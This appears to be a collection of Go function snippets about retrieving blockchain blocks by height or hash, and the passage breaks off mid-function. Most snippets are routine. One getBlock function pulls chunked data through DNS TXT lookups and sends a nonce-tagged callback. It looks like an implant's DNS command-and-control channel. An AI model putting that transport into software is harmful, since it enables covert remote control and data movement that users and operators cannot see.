"func (query *Query) GetBlock(ctx context.Context, height int64) (*model.Block, error) {\n\tresp, err := query.transport.QueryBlock(ctx, height)\n\tif err != nil {\n\t\treturn nil, errors.QueryFailf(\"GetBlock err\").AddCause(err)\n\t}\n\n\tblock := new(model.Block)\n\tblock.Header = resp.Block.Header\n\tblock.Evidence = resp.Block.Evidence\n\tblock.LastCommit = resp.Block.LastCommit\n\tblock.Data = new(model.Data)\n\tblock.Data.Txs = []model.Transaction{}\n\tfor _, txBytes := range resp.Block.Data.Txs {\n\t\tvar tx model.Transaction\n\t\tif err := query.transport.Cdc.UnmarshalJSON(txBytes, &tx); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tblock.Data.Txs = append(block.Data.Txs, tx)\n\t}\n\treturn block, nil\n}", "func (d *DcrwalletCSDriver) GetBlock(ctx context.Context, bh *chainhash.Hash) (*wire.MsgBlock, error) {\ngetblock:\n\tfor {\n\t\t// Keep trying to get the network backend until the context is\n\t\t// canceled.\n\t\tn, err := d.w.NetworkBackend()\n\t\tif errors.Is(err, errors.NoPeers) {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn nil, ctx.Err()\n\t\t\tcase <-time.After(time.Second):\n\t\t\t\tcontinue getblock\n\t\t\t}\n\t\t}\n\n\t\tblocks, err := n.Blocks(ctx, []*chainhash.Hash{bh})\n\t\tif len(blocks) > 0 && err == nil {\n\t\t\treturn blocks[0], nil\n\t\t}\n\n\t\t// The syncer might have failed due to any number of reasons,\n\t\t// but it's likely it will come back online shortly. So wait\n\t\t// until we can try again.\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil, ctx.Err()\n\t\tcase <-time.After(time.Second):\n\t\t}\n\t}\n}", "func (b *Block) Get(input *BlockInput) (*Block, error) {\n\tresp, err := b.c.Request(http.MethodGet, fmt.Sprintf(\"/blocks/%s\", input.ID), new(bytes.Buffer), nil)\n\tif err != nil {\n\t\treturn &Block{}, err\n\t}\n\tdefer resp.Body.Close()\n\n\tvar block *Block\n\terr = json.NewDecoder(resp.Body).Decode(&block)\n\tif err != nil {\n\t\treturn &Block{}, err\n\t}\n\treturn block, nil\n}", "func (c *BlockCache) readBlock(height int) *walletrpc.CompactBlock {\n\tblockLen := c.blockLength(height)\n\tb := make([]byte, blockLen+8)\n\toffset := c.starts[height-c.firstBlock]\n\tn, err := c.blocksFile.ReadAt(b, offset)\n\tif err != nil || n != len(b) {\n\t\tLog.Warning(\"blocks read offset: \", offset, \" failed: \", n, err)\n\t\treturn nil\n\t}\n\tdiskcs := b[:8]\n\tb = b[8 : blockLen+8]\n\tif !bytes.Equal(checksum(height, b), diskcs) {\n\t\tLog.Warning(\"bad block checksum at height: \", height, \" offset: \", offset)\n\t\treturn nil\n\t}\n\tblock := &walletrpc.CompactBlock{}\n\terr = proto.Unmarshal(b, block)\n\tif err != nil {\n\t\t// Could be file corruption.\n\t\tLog.Warning(\"blocks unmarshal at offset: \", offset, \" failed: \", err)\n\t\treturn nil\n\t}\n\tif int(block.Height) != height {\n\t\t// Could be file corruption.\n\t\tLog.Warning(\"block unexpected height at height \", height, \" offset: \", offset)\n\t\treturn nil\n\t}\n\treturn block\n}", "func (c *Client) GetBlock(hash string) (block *rpctypes.ResultBlock, err error) {\n\tblock = new(rpctypes.ResultBlock)\n\terr = c.get(block, c.URL(\"block/hash/%s\", hash))\n\terr = errors.Wrap(err, \"getting block by hash\")\n\treturn\n}", "func (dcr *DCRBackend) getMainchainDcrBlock(height uint32) (*dcrBlock, error) {\n\tcachedBlock, found := dcr.blockCache.atHeight(height)\n\tif found {\n\t\treturn cachedBlock, nil\n\t}\n\thash, err := dcr.node.GetBlockHash(int64(height))\n\tif err != nil {\n\t\t// Likely not mined yet. Not an error.\n\t\treturn nil, nil\n\t}\n\treturn dcr.getDcrBlock(hash)\n}", "func (db *DBlock) Get(c *Client) error {\n\tif db.IsPopulated() {\n\t\treturn nil\n\t}\n\n\tresult := struct{ DBlock *DBlock }{DBlock: db}\n\tif err := c.FactomdRequest(\"dblock-by-height\", db, &result); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (eb *EBlock) Get(c *Client) error {\n\t// If the EBlock is already populated then there is nothing to do.\n\tif eb.IsPopulated() {\n\t\treturn nil\n\t}\n\n\t// If we don't have a KeyMR, fetch the chain head KeyMR.\n\tif eb.KeyMR == nil {\n\t\t// If the KeyMR and ChainID are both nil we have nothing to\n\t\t// query for.\n\t\tif eb.ChainID == nil {\n\t\t\treturn fmt.Errorf(\"no KeyMR or ChainID specified\")\n\t\t}\n\t\tif err := eb.GetChainHead(c); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Make RPC request for this Entry Block.\n\tparams := struct {\n\t\tKeyMR *Bytes32 `json:\"hash\"`\n\t}{KeyMR: eb.KeyMR}\n\tvar result struct {\n\t\tData Bytes `json:\"data\"`\n\t}\n\tif err := c.FactomdRequest(\"raw-data\", params, &result); err != nil {\n\t\treturn err\n\t}\n\theight := eb.Height\n\tif err := eb.UnmarshalBinary(result.Data); err != nil {\n\t\treturn err\n\t}\n\t// Verify height if it was initialized\n\tif height > 0 && height != eb.Height {\n\t\treturn fmt.Errorf(\"height does not match\")\n\t}\n\tkeyMR, err := eb.ComputeKeyMR()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif *eb.KeyMR != keyMR {\n\t\treturn fmt.Errorf(\"invalid key merkle root\")\n\t}\n\treturn nil\n}", "func (g *Geth) GetBlockAtHeight(height uint64) (WrkChainBlockHeader, error) {\n\n\tqueryUrl := viper.GetString(types.FlagWrkchainRpc)\n\n\tatHeight := \"latest\"\n\n\tif height > 0 {\n\t\tatHeight = \"0x\" + strconv.FormatUint(height, 16)\n\t}\n\n\tvar jsonStr = []byte(`{\"jsonrpc\":\"2.0\",\"method\":\"eth_getBlockByNumber\",\"params\":[\"` + atHeight + `\",false],\"id\":1}`)\n\n\tresp, err := http.Post(queryUrl, \"application/json\", bytes.NewBuffer(jsonStr))\n\tif err != nil {\n\t\treturn WrkChainBlockHeader{}, err\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn WrkChainBlockHeader{}, err\n\t}\n\n\tvar res GethBlockHeaderResult\n\terr = json.Unmarshal(body, &res)\n\tif err != nil {\n\t\treturn WrkChainBlockHeader{}, err\n\t}\n\n\theader := res.Result\n\tcleanedHeight := strings.Replace(header.Number, \"0x\", \"\", -1)\n\tblockNumber, err := strconv.ParseUint(cleanedHeight, 16, 64)\n\n\tif err != nil {\n\t\treturn WrkChainBlockHeader{}, err\n\t}\n\n\tblockHash := header.Hash\n\tparentHash := \"\"\n\thash1 := \"\"\n\thash2 := \"\"\n\thash3 := \"\"\n\tblockHeight := blockNumber\n\n\tif height == 0 {\n\t\tg.lastHeight = blockNumber\n\t}\n\n\tif viper.GetBool(types.FlagParentHash) {\n\t\tparentHash = header.ParentHash\n\t}\n\n\thash1Ref := viper.GetString(types.FlagHash1)\n\thash2Ref := viper.GetString(types.FlagHash2)\n\thash3Ref := viper.GetString(types.FlagHash3)\n\n\tif len(hash1Ref) > 0 {\n\t\thash1 = g.getHash(header, hash1Ref)\n\t}\n\n\tif len(hash2Ref) > 0 {\n\t\thash2 = g.getHash(header, hash2Ref)\n\t}\n\n\tif len(hash3Ref) > 0 {\n\t\thash3 = g.getHash(header, hash3Ref)\n\t}\n\n\twrkchainBlock := NewWrkChainBlockHeader(blockHeight, blockHash, parentHash, hash1, hash2, hash3)\n\n\treturn wrkchainBlock, nil\n}", "func (s *BlocksService) Get(ctx context.Context, id string) (*GetBlock, *http.Response, error) {\n\tquery := &BlockIdQuery{Id: id}\n\n\tvar responseStruct *GetBlock\n\tresp, err := s.client.SendRequest(ctx, \"GET\", \"blocks/get\", query, &responseStruct)\n\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn responseStruct, resp, err\n}", "func (s *Server) getBlockByHeight(ctx context.Context, height int64) (*chainhash.Hash, *wire.MsgBlock, error) {\n\tvar bh *chainhash.Hash\n\tvar err error\n\tif bh, err = s.getBlockHash(ctx, height); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvar b *wire.MsgBlock\n\tif b, err = s.getBlock(ctx, bh); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treturn bh, b, nil\n}", "func (db *StakeDatabase) BlockCached(ind int64) (*dcrutil.Block, bool) {\n\tdb.blkMtx.RLock()\n\tdefer db.blkMtx.RUnlock()\n\tblock, found := db.blockCache[ind]\n\treturn block, found\n}", "func (s *Server) getBlockByPartialId(ctx context.Context, bli *rtypes.PartialBlockIdentifier) (*chainhash.Hash, int64, *wire.MsgBlock, error) {\n\tvar bh *chainhash.Hash\n\tvar err error\n\n\tswitch {\n\tcase bli == nil || (bli.Hash == nil && bli.Index == nil):\n\t\t// Neither hash nor index were specified, so fetch current\n\t\t// block.\n\t\terr := s.db.View(ctx, func(dbtx backenddb.ReadTx) error {\n\t\t\tbhh, _, err := s.db.LastProcessedBlock(dbtx)\n\t\t\tif err == nil {\n\t\t\t\tbh = &bhh\n\t\t\t}\n\t\t\treturn err\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, 0, nil, err\n\t\t}\n\n\tcase bli.Hash != nil:\n\t\tbh = new(chainhash.Hash)\n\t\tif err := chainhash.Decode(bh, *bli.Hash); err != nil {\n\t\t\treturn nil, 0, nil, types.ErrInvalidChainHash\n\t\t}\n\n\tcase bli.Index != nil:\n\t\tif bh, err = s.getBlockHash(ctx, *bli.Index); err != nil {\n\t\t\treturn nil, 0, nil, err\n\t\t}\n\tdefault:\n\t\t// This should never happen unless the spec changed to allow\n\t\t// some other form of block querying.\n\t\treturn nil, 0, nil, types.ErrInvalidArgument\n\t}\n\n\tb, err := s.getBlock(ctx, bh)\n\tif err != nil {\n\t\treturn nil, 0, nil, err\n\t}\n\n\treturn bh, int64(b.Header.Height), b, nil\n}", "func (dao *blockDAO) getBlock(hash hash.Hash256) (*block.Block, error) {\n\theader, err := dao.header(hash)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get block header %x\", hash)\n\t}\n\tbody, err := dao.body(hash)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get block body %x\", hash)\n\t}\n\tfooter, err := dao.footer(hash)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get block footer %x\", hash)\n\t}\n\treturn &block.Block{\n\t\tHeader: *header,\n\t\tBody: *body,\n\t\tFooter: *footer,\n\t}, nil\n}", "func (c *Client) GetBlockAt(height uint64) (block *rpctypes.ResultBlock, err error) {\n\tblock = new(rpctypes.ResultBlock)\n\tvar url string\n\tif height == 0 {\n\t\turl = c.URL(\"block/current\")\n\t} else {\n\t\turl = c.URL(\"block/height/%d\", height)\n\t}\n\terr = c.get(block, url)\n\terr = errors.Wrap(err, \"getting block by height\")\n\treturn\n}", "func (c *SyscallService) QueryBlock(ctx context.Context, in *pb.QueryBlockRequest) (*pb.QueryBlockResponse, error) {\n\tnctx, ok := c.ctxmgr.Context(in.GetHeader().Ctxid)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"bad ctx id:%d\", in.Header.Ctxid)\n\t}\n\n\trawBlockid, err := hex.DecodeString(in.Blockid)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tblock, err := nctx.Cache.QueryBlock(rawBlockid)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttxids := []string{}\n\tfor _, t := range block.Transactions {\n\t\ttxids = append(txids, hex.EncodeToString(t.Txid))\n\t}\n\n\tblocksdk := &pb.Block{\n\t\tBlockid: hex.EncodeToString(block.Blockid),\n\t\tPreHash: block.PreHash,\n\t\tProposer: block.Proposer,\n\t\tSign: block.Sign,\n\t\tPubkey: block.Pubkey,\n\t\tHeight: block.Height,\n\t\tTxids: txids,\n\t\tTxCount: block.TxCount,\n\t\tInTrunk: block.InTrunk,\n\t\tNextHash: block.NextHash,\n\t}\n\n\treturn &pb.QueryBlockResponse{\n\t\tBlock: blocksdk,\n\t}, nil\n}", "func (bc *BlockChain) GetBlock(hash common.Hash, number uint64) *types.Block {\n\t// Short circuit if the block's already in the cache, retrieve otherwise\n\tif block, ok := bc.blockCache.Get(hash); ok {\n\t\treturn block.(*types.Block)\n\t}\n\tblock := rawdb.ReadBlock(bc.db, hash, number)\n\tif block == nil {\n\t\treturn nil\n\t}\n\t// Cache the found block for next time and return\n\tbc.blockCache.Add(block.Hash(), block)\n\treturn block\n}", "func getBlockToFetch(max_height uint32, cnt_in_progress, avg_block_size uint) (lowest_found *OneBlockToGet) {\r\n\tfor _, v := range BlocksToGet {\r\n\t\tif v.InProgress == cnt_in_progress && v.Block.Height <= max_height &&\r\n\t\t\t(lowest_found == nil || v.Block.Height < lowest_found.Block.Height) {\r\n\t\t\tlowest_found = v\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "func getBlock(w http.ResponseWriter, req *http.Request, ps httprouter.Params) {\n\n\thash, err := chainhash.NewHashFromStr(ps.ByName(\"hash\"))\n\tif err != nil {\n\t\tlog.Printf(\"could not convert string to hash: %s\\n\", err)\n\t}\n\n\tblock, err := dao.GetBlock(hash)\n\tif err != nil {\n\t\tfmt.Fprintf(w, \"Not found\")\n\t\treturn\n\t}\n\t//block.Confirmations = getBlockConfirmations(block)\n\t//block.Confirmations = getBlockConfirmations(*block) // needs dynamic calculation\n\n\t//apiblock, err := insight.ConvertToInsightBlock(block)\n\n\tjson.NewEncoder(w).Encode(&block)\n}", "func getBlock(file *os.File, pr int64, bm int64) dataBlock {\n\tblock := dataBlock{}\n\tsize := int64(binary.Size(block))\n\tindex := pr + bm*size\n\tfile.Seek(index, 0)\n\t//Se obtiene la data del archivo binarios\n\tdata := readNextBytes(file, size)\n\tbuffer := bytes.NewBuffer(data)\n\t//Se asigna al mbr declarado para leer la informacion de ese disco\n\terr := binary.Read(buffer, binary.BigEndian, &block)\n\tif err != nil {\n\t\tlog.Fatal(\"binary.Read failed\", err)\n\t}\n\treturn block\n}", "func GetBlock(x uint64) block.Block{\r\n\t\tvar block1 block.MinBlock\r\n\t\tvar block2 block.Block\r\n\t\tblock1.BlockNumber = x\r\n\t\tblock1.ChainYear = ChainYear\r\n\t\tfmt.Println(\"ChainYear\", block1.ChainYear)\r\n\t\tdata, err:= json.Marshal(block1)\r\n\t\tif err !=nil{\r\n\t\t\tfmt.Println(\"Error Reading Block\", err)\r\n\t\t}\r\n\t\tfmt.Println(\"Block as Json\", data)\r\n\t\ttheNodes := GetNodes(block1.BlockHash())\r\n\t\t\r\n\t\tcall := \"getBlock\"\r\n\t\t\r\n\t\tfor x:=0; x < len(theNodes); x +=1{\r\n\t\t\t\t\r\n\t\t\turl1 := \"http://\"+ MyNode.Ip+ MyNode.Port+\"/\"+ call\r\n\t\t\tfmt.Println(\"url:\", url1)\r\n\t\t\t resp, err := http.Post(url1, \"application/json\", bytes.NewBuffer(data))\r\n\r\n\t\t\tif err != nil {\r\n\t\t\t\tfmt.Println(\"Error connectig to node trying next node \", err)\r\n\t\t\t}else{\r\n\t\t\t\tfmt.Println(\"Block as Json\", data)\r\n\t\t\t\tjson.NewDecoder(resp.Body).Decode(&block2)\r\n\t\t\t\treturn block2\r\n\t\t\t}\r\n\t\t}\r\nreturn block2\r\n\t\t\r\n\t\t\r\n}", "func getBlkFromHash(hash [constants.HASHSIZE]byte) Block {\n\tvar retBlk Block\n\tsess, err := mgo.Dial(\"localhost\")\n\tcheckerror(err)\n\tdefer sess.Close()\n\thandle := sess.DB(\"Goin\").C(\"Blocks\")\n\tBlkQuery := handle.Find(bson.M{\"hash\": hash})\n\terr = BlkQuery.One(&retBlk)\n\tif err != nil {\n\t\treturn Block{}\n\t}\n\treturn retBlk\n}", "func (l *Ledger) QueryBlock(blockid []byte) (*pb.InternalBlock, error) {\n\tblkInCache, exist := l.blockCache.Get(string(blockid))\n\tif exist {\n\t\tl.xlog.Debug(\"hit queryblock cache\", \"blkid\", utils.F(blockid))\n\t\treturn blkInCache.(*pb.InternalBlock), nil\n\t}\n\tblk, err := l.queryBlock(blockid, true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tl.blockCache.Add(string(blockid), blk)\n\treturn blk, nil\n}", "func getBlock(res rpc.GetBlockResponse) (GetBlockResponse, error) {\n\ttxs := make([]GetBlockTransaction, 0, len(res.Result.Transactions))\n\tfor _, rTx := range res.Result.Transactions {\n\t\tdata, ok := rTx.Transaction.([]interface{})\n\t\tif !ok {\n\t\t\treturn GetBlockResponse{}, fmt.Errorf(\"failed to cast raw response to []interface{}\")\n\t\t}\n\t\tif data[1] != string(rpc.GetTransactionConfigEncodingBase64) {\n\t\t\treturn GetBlockResponse{}, fmt.Errorf(\"encoding mistmatch\")\n\t\t}\n\t\trawTx, err := base64.StdEncoding.DecodeString(data[0].(string))\n\t\tif err != nil {\n\t\t\treturn GetBlockResponse{}, fmt.Errorf(\"failed to base64 decode data, err: %v\", err)\n\t\t}\n\t\ttx, err := types.TransactionDeserialize(rawTx)\n\t\tif err != nil {\n\t\t\treturn GetBlockResponse{}, fmt.Errorf(\"failed to deserialize transaction, err: %v\", err)\n\t\t}\n\n\t\tvar transactionMeta *TransactionMeta\n\t\tif rTx.Meta != nil {\n\t\t\tinnerInstructions := make([]TransactionMetaInnerInstruction, 0, len(rTx.Meta.InnerInstructions))\n\t\t\tfor _, metaInnerInstruction := range rTx.Meta.InnerInstructions {\n\t\t\t\tcompiledInstructions := make([]types.CompiledInstruction, 0, len(metaInnerInstruction.Instructions))\n\t\t\t\tfor _, innerInstruction := range metaInnerInstruction.Instructions {\n\t\t\t\t\tdata, err := base58.Decode(innerInstruction.Data)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn GetBlockResponse{}, fmt.Errorf(\"failed to base58 decode data, data: %v, err: %v\", innerInstruction.Data, err)\n\t\t\t\t\t}\n\t\t\t\t\tcompiledInstructions = append(compiledInstructions, types.CompiledInstruction{\n\t\t\t\t\t\tProgramIDIndex: innerInstruction.ProgramIDIndex,\n\t\t\t\t\t\tAccounts: innerInstruction.Accounts,\n\t\t\t\t\t\tData: data,\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t\tinnerInstructions = append(innerInstructions, TransactionMetaInnerInstruction{\n\t\t\t\t\tIndex: metaInnerInstruction.Index,\n\t\t\t\t\tInstructions: compiledInstructions,\n\t\t\t\t})\n\t\t\t}\n\t\t\ttransactionMeta = &TransactionMeta{\n\t\t\t\tErr: rTx.Meta.Err,\n\t\t\t\tFee: rTx.Meta.Fee,\n\t\t\t\tPreBalances: rTx.Meta.PreBalances,\n\t\t\t\tPostBalances: rTx.Meta.PostBalances,\n\t\t\t\tPreTokenBalances: rTx.Meta.PreTokenBalances,\n\t\t\t\tPostTokenBalances: rTx.Meta.PostTokenBalances,\n\t\t\t\tLogMessages: rTx.Meta.LogMessages,\n\t\t\t\tInnerInstructions: innerInstructions,\n\t\t\t}\n\t\t}\n\n\t\ttxs = append(txs,\n\t\t\tGetBlockTransaction{\n\t\t\t\tMeta: transactionMeta,\n\t\t\t\tTransaction: tx,\n\t\t\t},\n\t\t)\n\t}\n\treturn GetBlockResponse{\n\t\tBlockhash: res.Result.Blockhash,\n\t\tBlockTime: res.Result.BlockTime,\n\t\tBlockHeight: res.Result.BlockHeight,\n\t\tPreviousBlockhash: res.Result.PreviousBlockhash,\n\t\tParentSLot: res.Result.ParentSLot,\n\t\tRewards: res.Result.Rewards,\n\t\tTransactions: txs,\n\t}, nil\n}", "func (client *Client) GetBlock(blockID string) (*Response, error) {\n\tpath := \"/block\"\n\turi := fmt.Sprintf(\"%s%s/%s\", client.apiBaseURL, path, blockID)\n\n\treq, err := http.NewRequest(\"GET\", uri, bytes.NewBuffer([]byte(\"\")))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp, err := client.performRequest(req, \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar block Block\n\tif err := json.Unmarshal(resp.Response.([]byte), &block); err != nil {\n\t\treturn nil, err\n\t}\n\tresp.Response = block\n\treturn resp, err\n}", "func (bp RPCBlockProvider) GetBlock(index int) SignedBlockData {\r\n\tvar block SignedBlockData\r\n\terr := bp.Client.Call(\"BlockPropagationHandler.GetBlock\", index, &block)\r\n\tif err != nil {\r\n\t\tlog.Print(err)\r\n\t}\r\n\treturn block\r\n}", "func (sbc *SyncBlockChain) Get(Height int32) []Block {\n\tsbc.Mux.Lock()\n\tdefer sbc.Mux.Unlock()\n\tif val, ok := sbc.BC.Chain[Height]; ok {\n\t\treturn val\n\t}\n\treturn nil\n}", "func (itr *BlocksItr) Get() (ledger.QueryResult, error) {\n\tif itr.err != nil {\n\t\treturn nil, itr.err\n\t}\n\treturn &BlockHolder{itr.nextBlockBytes}, nil\n}", "func (f *Builder) GetBlock(ctx context.Context, c cid.Cid) (*types.BlockHeader, error) {\n\tvar block types.BlockHeader\n\tif err := f.cstore.Get(ctx, c, &block); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &block, nil\n}", "func (bd *BlockDAG) getBlock(h *hash.Hash) IBlock {\n\tif h == nil {\n\t\treturn nil\n\t}\n\tblock, ok := bd.blocks[*h]\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn block\n}", "func (p *bitsharesAPI) GetBlock(number uint64) (*objects.Block, error) {\n\tvar result *objects.Block\n\terr := p.call(p.databaseAPIID, \"get_block\", &result, number)\n\treturn result, err\n}", "func (bh *BlockHolder) GetBlock() *protos.Block2 {\n\tserBlock := protos.NewSerBlock2(bh.blockBytes)\n\tblock, err := serBlock.ToBlock2()\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"Problem in deserialzing block: %s\", err))\n\t}\n\treturn block\n}", "func (bc *Blockchain) GetBlock(hash []byte) (*Block, error) {\n\t// TODO(student)\n\treturn nil, nil\n}", "func (d *AddressCacheItem) blockID() *BlockID {\n\treturn &BlockID{d.hash, d.height}\n}", "func (rs *rootResolver) Block(args *struct {\n\tNumber *hexutil.Uint64\n\tHash *types.Hash\n}) (*Block, error) {\n\t// do we have the number, or hash is not given?\n\tif args.Number != nil || args.Hash == nil {\n\t\t// get the block by the number, or get the top block\n\t\tblock, err := rs.repo.BlockByNumber(args.Number)\n\t\tif err != nil {\n\t\t\trs.log.Errorf(\"could not get the specified block\")\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn NewBlock(block, rs.repo), nil\n\t}\n\n\t// simply pull the block by hash\n\tblock, err := rs.repo.BlockByHash(args.Hash)\n\tif err != nil {\n\t\trs.log.Errorf(\"could not get the specified block\")\n\t\treturn nil, err\n\t}\n\n\treturn NewBlock(block, rs.repo), nil\n}", "func getBlockByHash(params interface{}) (interface{}, error) {\n\tp, ok := params.(*BlockHashParams)\n\tif !ok {\n\t\treturn nil, resp.BadRequestErr\n\t}\n\tdb := db.NewDB()\n\tdefer db.Close()\n\n\t// query block info\n\trow := db.QueryRow(\"SELECT height, hash, version, time, nonce, difficulty, prev, tx_root, status, sign, hex FROM blocks WHERE hash=?\", p.Hash)\n\tblock := &resp.Block{}\n\terr := row.Scan(&block.Height, &block.Hash, &block.Version, &block.Time, &block.Nonce, &block.Difficulty, &block.Prev, &block.TxRoot, &block.Status, &block.Sign, &block.Hex)\n\tif err != nil {\n\t\treturn nil, resp.NotFoundErr\n\t}\n\n\t// query next block hash\n\trow = db.QueryRow(\"SELECT hash FROM blocks WHERE height=?\", block.Height+1)\n\tvar next string\n\trow.Scan(&next)\n\tblock.Next = next\n\n\t// query block transactions\n\trows, err := db.Query(\"SELECT tx_id, version, type FROM transactions WHERE height=?\", block.Height)\n\tif err != nil {\n\t\treturn nil, resp.InternalServerErr\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar transaction = &resp.Transaction{}\n\t\terr := rows.Scan(&transaction.TxID, &transaction.Version, &transaction.Type)\n\t\tif err != nil {\n\t\t\treturn nil, resp.InternalServerErr\n\t\t}\n\t\terr = getTx(db, transaction)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tblock.Transactions = append(block.Transactions, *transaction)\n\t}\n\treturn block, nil\n}", "func (f *Builder) GetBlock(ctx context.Context, c cid.Cid) (*types.Block, error) {\n\tblock, ok := f.blocks[c]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"no block %s\", c)\n\t}\n\treturn block, nil\n}", "func getBlock(parentDomain string, blockID string, size string) ([]byte, error) {\n\tn, err := strconv.Atoi(size)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treasm := &BlockReassembler{\n\t\tID: blockID,\n\t\tSize: n,\n\t\tRecv: make(chan *RecvBlock, n),\n\t}\n\n\t// How many TXT records do we need to fetch?\n\ttxtRecords := int(math.Ceil(float64(n) / float64(maxBlocksPerTXT)))\n\n\tvar wg sync.WaitGroup\n\tdata := make([]string, txtRecords)\n\n\tfor index := 0; index < txtRecords; index++ {\n\t\twg.Add(1)\n\t\tstart := index * maxBlocksPerTXT\n\t\tstop := start + maxBlocksPerTXT\n\t\tif txtRecords < stop {\n\t\t\tstop = txtRecords\n\t\t}\n\t\tgo fetchBlockSegments(parentDomain, reasm, index, start, stop, &wg)\n\t}\n\n\tdone := make(chan bool)\n\tgo func() {\n\t\tfor block := range reasm.Recv {\n\t\t\tdata[block.Index] = block.Data\n\t\t}\n\t\tdone <- true\n\t}()\n\twg.Wait()\n\tclose(reasm.Recv)\n\t<-done // Avoid race where range of reasm.Recv isn't complete\n\n\tmsg := []string{}\n\tfor _, buf := range data {\n\t\tmsg = append(msg, buf)\n\t}\n\n\tmsgData, err := base64.RawStdEncoding.DecodeString(strings.Join(msg, \"\"))\n\tif err != nil {\n\t\t// {{if .Debug}}\n\t\tlog.Printf(\"Failed to decode block\")\n\t\t// {{end}}\n\t\treturn nil, errors.New(\"Failed to decode block\")\n\t}\n\n\tnonce := dnsNonce(nonceStdSize)\n\tgo func() {\n\t\tdomain := fmt.Sprintf(\"%s.%s._cb.%s\", nonce, reasm.ID, parentDomain)\n\t\t// {{if .Debug}}\n\t\tlog.Printf(\"[dns] lookup -> %s\", domain)\n\t\t// {{end}}\n\t\tnet.LookupTXT(domain)\n\t}()\n\n\treturn msgData, nil\n}", "func (rc *ReadCache) ReceiveBlock(*block.Block) error {\n\t// invalidate the cache at every new block\n\trc.Clear()\n\treturn nil\n}", "func (blockchain *BlockChain) GetBlock(height int32, hash string) (block1.Block, bool) {\n\tblockEmpty := block1.Block{}\n\tif height <= blockchain.Length {\n\t\tblocks, _ := blockchain.Get(height)\n\t\tfor _, block := range blocks {\n\t\t\tif block.Header.Hash == hash {\n\t\t\t\treturn block, true\n\t\t\t}\n\t\t}\n\t}\n\treturn blockEmpty, false\n}", "func NewBlockCache(dbPath string, chainName string, startHeight int, syncFromHeight int) *BlockCache {\n\tc := &BlockCache{}\n\tc.firstBlock = startHeight\n\tc.nextBlock = startHeight\n\tc.lengthsName, c.blocksName = dbFileNames(dbPath, chainName)\n\tvar err error\n\tif err := os.MkdirAll(filepath.Join(dbPath, chainName), 0755); err != nil {\n\t\tLog.Fatal(\"mkdir \", dbPath, \" failed: \", err)\n\t}\n\tc.blocksFile, err = os.OpenFile(c.blocksName, os.O_CREATE|os.O_RDWR|os.O_APPEND, 0644)\n\tif err != nil {\n\t\tLog.Fatal(\"open \", c.blocksName, \" failed: \", err)\n\t}\n\tc.lengthsFile, err = os.OpenFile(c.lengthsName, os.O_CREATE|os.O_RDWR|os.O_APPEND, 0644)\n\tif err != nil {\n\t\tLog.Fatal(\"open \", c.lengthsName, \" failed: \", err)\n\t}\n\tlengths, err := ioutil.ReadFile(c.lengthsName)\n\tif err != nil {\n\t\tLog.Fatal(\"read \", c.lengthsName, \" failed: \", err)\n\t}\n\t// 4 bytes per lengths[] value (block length)\n\tif syncFromHeight >= 0 {\n\t\tif syncFromHeight < startHeight {\n\t\t\tsyncFromHeight = startHeight\n\t\t}\n\t\tif (syncFromHeight-startHeight)*4 < len(lengths) {\n\t\t\t// discard the entries at and beyond (newer than) the specified height\n\t\t\tlengths = lengths[:(syncFromHeight-startHeight)*4]\n\t\t}\n\t}\n\n\t// The last entry in starts[] is where to write the next block.\n\tvar offset int64\n\tc.starts = nil\n\tc.starts = append(c.starts, 0)\n\tnBlocks := len(lengths) / 4\n\tLog.Info(\"Reading \", nBlocks, \" blocks (since Sapling activation) from disk cache ...\")\n\tfor i := 0; i < nBlocks; i++ {\n\t\tif len(lengths[:4]) < 4 {\n\t\t\tLog.Warning(\"lengths file has a partial entry\")\n\t\t\tc.recoverFromCorruption(c.nextBlock)\n\t\t\tbreak\n\t\t}\n\t\tlength := binary.LittleEndian.Uint32(lengths[i*4 : (i+1)*4])\n\t\tif length < 74 || length > 4*1000*1000 {\n\t\t\tLog.Warning(\"lengths file has impossible value \", length)\n\t\t\tc.recoverFromCorruption(c.nextBlock)\n\t\t\tbreak\n\t\t}\n\t\toffset += int64(length) + 8\n\t\tc.starts = append(c.starts, offset)\n\t\t// Check for corruption.\n\t\tblock := c.readBlock(c.nextBlock)\n\t\tif block == nil {\n\t\t\tLog.Warning(\"error reading block\")\n\t\t\tc.recoverFromCorruption(c.nextBlock)\n\t\t\tbreak\n\t\t}\n\t\tc.nextBlock++\n\t}\n\tc.setDbFiles(c.nextBlock)\n\tLog.Info(\"Done reading \", c.nextBlock-c.firstBlock, \" blocks from disk cache\")\n\treturn c\n}", "func (client *clientImpl) GetBlockByNumber(number int64) (val *Block, err error) {\n\n\terr = client.Call2(\"eth_getBlockByNumber\", &val, fmt.Sprintf(\"0x%x\", 